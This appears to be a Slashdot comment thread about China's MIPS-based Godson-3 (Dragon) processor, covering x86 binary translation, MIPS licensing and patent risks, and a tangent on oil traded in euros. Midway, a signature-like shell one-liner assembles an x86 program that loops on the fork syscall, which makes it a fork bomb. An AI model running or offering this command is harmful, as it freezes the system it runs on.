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A Chinese Challenge To Intel
motang writes "Chinese government funded Godson-3 a CPU that is developed to bring personal computing to majority of Chinese people by the year 2010. Will this pose any threat to Intel?"
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Asian language pedantry: Sayonara is Japanese. You're looking for Zai Jian. 再 見
It's not x86 compatible. It's a MIPS64 clone. According to this, they'll use binary translation and extra instructions to run x86 binaries.
http://www.pldesignline.com/news/210201111
Both the four- and eight-core versions of the Godson-3 are implemented at 65 nm, with clock speed of 1GHz. The design features a distributed, scalable architecture with reconfigurable CPU core and L2 cache. The devices are designed for low power consumption - the four-core draws 10w while the eight -core draws 20w, according to Xu's presentation. The designs utilize MIPS64 cores with more than 200 additional instructions for X86 binary translation and media acceleration.
Problem is it's unlicensed, so they would most likely be sued for patent infringement if they sell it outside China.
http://www.mdronline.com/watch/watch_Issue.asp?Volname=Issue+%23072505&on=1
In December 2003, Advanced Micro Devices and BLX IC Design announced a relationship and opened the AMD/BLX Computing Client Development Center in Beijing. BLX IC Design is creating reference designs for thin clients and other computing products using AMD and BLX IC Design processors. The first two products are thin clients powered by AMDâ(TM)s MIPS32 - compatible Alchemy Au1500 processor and BLX IC Design's Godson-1. The creators of the Godson-1 say its architecture is "MIPS-like" - a description that annoys MIPS Technologies, which doesnâ(TM)t authorize the Godson architecture or license any intellectual property to ICT or BLX IC Design. AMD, which is a MIPS licensee, says it encourages BLX IC Design and MIPS to resolve their licensing issues.
Lexra tried to sell unlicensed MIPS clones and was effectively shutdown by lawsuits. As this Lexra guy puts it -
http://jonahprobell.com/lexra.html
It has been interesting to watch as the Chinese company, BLX, has made and sold powerful processors in China that execute MIPS-based instruction sets. BLX is legally and morally clear of violating MIPS Technologies' patents. BLX has chosen not to pay anything to MIPS Technologies while a host of American companies with their own powerful MIPS instruction set processors pay large sums of money to MIPS Technologies for the privilege of not being hassled by lawsuits. After its experience with Lexra MIPS Technologies changed all of its 32-bit cores to ue its new MIPS32 instruction set which extends the MIPS-I instruction set to include other features patented by MIPS Technologies. This is similar to Intel's addition of the MMX instruction set extensions to Pentium III in order to prevent AMD from building compatible processors.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Actually, from the article, I think this is the dragon cpu (dragonchip in the article)
/not suck/.
And it is being produced.
It also makes the VIA processors look like incredible speed demons.
So the problem isn't being able to make them, but being able to make them
Self proclaimed typo king, and inventor of the bear destroying coffee table (patent not pending).
This is the third major redesign of the Dragon chip. If you had read the article (haha, slashdot joke etc) you would have seen that apparently with each update they've tripled the performance, or so they say. There's been about 8 updates for the second major design of the chip, they're on 2G or 2H now, with integrated GPUs, and even integrated chipsets (System on Chip).
Godson-3 / Dragon-3 chip will have 4 cores at 5W/core (allegedly) and interface using HyperTransport to a chipset (so they can probably use any compatible chipset from the PC world).
I thought that was Iran that allowed Euros to buy oil. Also that was after Iraq was invaded.
>Iraq started breaking stride with the other oil producing nations and allowing Euros to be traded instead of US Dollars. Then they got invaded, and that put a stop to that.
That sounds bad for Iran since they did that too some months ago.
http://www.reuters.com/article/oilRpt/idUSBLA02024820080430
Iran conducts all crude trade in euro, yen
Yes. They're being included in low-end computers, set-top boxes, and supercomputers, all over China. Such as the Tianhua GX-1C.
The Dragon chips (and variations of) are also gaining some traction in Europe and the US, being used in a couple dirt-cheap $250 EEE PC clones. eg.: http://www.compsource.com/pn/3KRZ40074GB/3k_Computers_2340/
http://www.gdium.com/description/
They've made millions of them.
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